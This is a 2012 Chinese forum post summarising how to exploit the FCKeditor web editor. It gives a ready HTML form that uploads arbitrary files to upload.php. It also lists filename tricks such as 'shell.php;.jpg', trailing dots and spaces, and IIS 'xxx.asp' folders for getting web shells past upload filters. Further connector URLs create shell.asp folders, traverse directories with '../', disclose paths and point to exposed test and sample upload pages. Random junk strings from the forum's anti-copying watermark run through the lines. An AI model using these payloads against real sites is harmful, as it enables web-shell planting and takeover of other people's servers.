找回密码
 立即注册
查看: 3336|回复: 1
打印 上一主题 下一主题

FCKeditor漏洞利用总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 20:23:31 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Fckeditor漏洞利用总结

查看编辑器版本( p) j. p" E% O$ I' r
FCKeditor/_whatsnew.html6 q9 q1 D9 @8 w7 J
—————————————————————————————————————————————————————————————

2. Version 2.2 版本
8 C7 b& n) h( V6 o( S1 eApache+linux 环境下在上传文件后面加个.突破!测试通过。
. T' B* v8 o) x6 g—————————————————————————————————————————————————————————————

3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。1 u5 F6 i( M: h8 E! f* k6 j9 G; v8 X3 }
<form id="frmUpload" enctype="multipart/form-data"
6 W2 _  B" M) A. O2 }) o, n5 P7 iaction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>% Z+ L! D3 ~" e, r! c" F1 f: _
<input type="file" name="NewFile" size="50"><br>
1 h! k/ i9 C* u<input id="btnUpload" type="submit" value="Upload">
7 n  m7 w1 E7 _+ C8 d6 p</form>
8 K9 i# t' f1 {& o. O: E; d—————————————————————————————————————————————————————————————

4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
0 `# Z6 G0 w: A        很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。: u# d( h  J4 c1 A; Y. g8 Z
    4.1:提交shell.php+空格绕过, r2 o/ C- j  f7 I# s
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。  d/ F9 E$ G  N0 M6 [8 a8 n4 V. ^
    4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。3 L( e9 j# y4 t9 p
—————————————————————————————————————————————————————————————

5. 突破建立文件夹
3 i8 @( |: b9 ^; e9 {2 ~FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684- r) B  a8 j: j: n
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
$ R5 s; a. K; [1 e" p—————————————————————————————————————————————————————————————

6. FCKeditor 中test 文件的上传地址
# @7 a6 d7 b  r: `9 QFCKeditor/editor/filemanager/browser/default/connectors/test.html
) M* C: M& ?" j2 Y4 AFCKeditor/editor/filemanager/upload/test.html
0 a$ r* d( h- Y7 d, E9 [FCKeditor/editor/filemanager/connectors/test.html6 k  o7 q9 y. j/ I
FCKeditor/editor/filemanager/connectors/uploadtest.html
* T5 v% g+ D( k" b—————————————————————————————————————————————————————————————
& X9 N. v* q* R# {! I2 _3 G

7.常用上传地址1 D3 j8 j: r3 l7 p9 Z/ @6 p% u
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/. K3 t7 f8 K# d' P! e
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp; r% F( t( G9 i
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
0 n3 `; B: b5 F6 F: fJSP 版:
8 o. {+ H1 }( d: P7 sFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
+ b$ b3 G% [# [5 @- e注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
7 Z: n# P4 \  p8 _: B# [" J件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。9 z& {/ b1 s8 A
—————————————————————————————————————————————————————————————

8.其他上传地址6 U& ]2 f( R+ h! c8 r  N8 Z- t
FCKeditor/_samples/default.html  {+ q3 i( [  I) n* x+ A( h9 ^* H& J
FCKeditor/_samples/asp/sample01.asp
, }+ l5 T7 ]' B$ A$ aFCKeditor/_samples/asp/sample02.asp
- G+ M8 K+ ?/ z8 UFCKeditor/_samples/asp/sample03.asp
* ~/ O7 }* x7 \7 UFCKeditor/_samples/asp/sample04.asp
9 u3 H) Q$ b! d  b5 ~. j: e* B一般很多站点都已删除_samples 目录,可以试试。
/ S5 l3 d9 {7 j" |4 gFCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。  O$ X9 v9 _) r5 _$ f
—————————————————————————————————————————————————————————————

9.列目录漏洞也可助找上传地址
3 h) f0 t& X# s% ~Version 2.4.1 测试通过
+ \! R; h6 j, k0 I$ r/ P修改CurrentFolder 参数使用 ../../来进入不同的目录* x* ~) u, ]0 Z: i  G2 l, T( P
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
- R3 S2 D# ]# z根据返回的XML 信息可以查看网站所有的目录。. F- B) u. @' f  W, I- v+ x
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
1 l3 {1 x0 F  ~& |, [3 h$ B& ?4 v, Y也可以直接浏览盘符:
7 q5 n8 L2 Z0 e, SJSP 版本:
0 U- u, i2 _" D; m& [1 m  r# gFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F& Z; z" W: g9 S6 E, Y+ i
—————————————————————————————————————————————————————————————

10.爆路径漏洞) h- Z4 c4 `' H) N
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp! k) |! F+ m5 Y' W& s
—————————————————————————————————————————————————————————————

11. FCKeditor 被动限制策略所导致的过滤不严问题
9 R, V) [( x, Q) p7 g1 |/ R# a        影响版本: FCKeditor x.x <= FCKeditor v2.4.3) w7 Y2 L6 x& l/ T
脆弱描述:# P5 G3 o. I/ e  x3 D" L+ v
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:# W- |. |2 Y4 ?9 ?* f
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm& @* C7 g1 T2 a' j6 R5 e
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
4 e( V" {$ s! U: [( c        而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。- H0 W1 q3 c' r6 L  K  z
        在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!

回复

使用道具 举报

沙发
发表于 2012-9-8 22:43:14 | 只看该作者

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表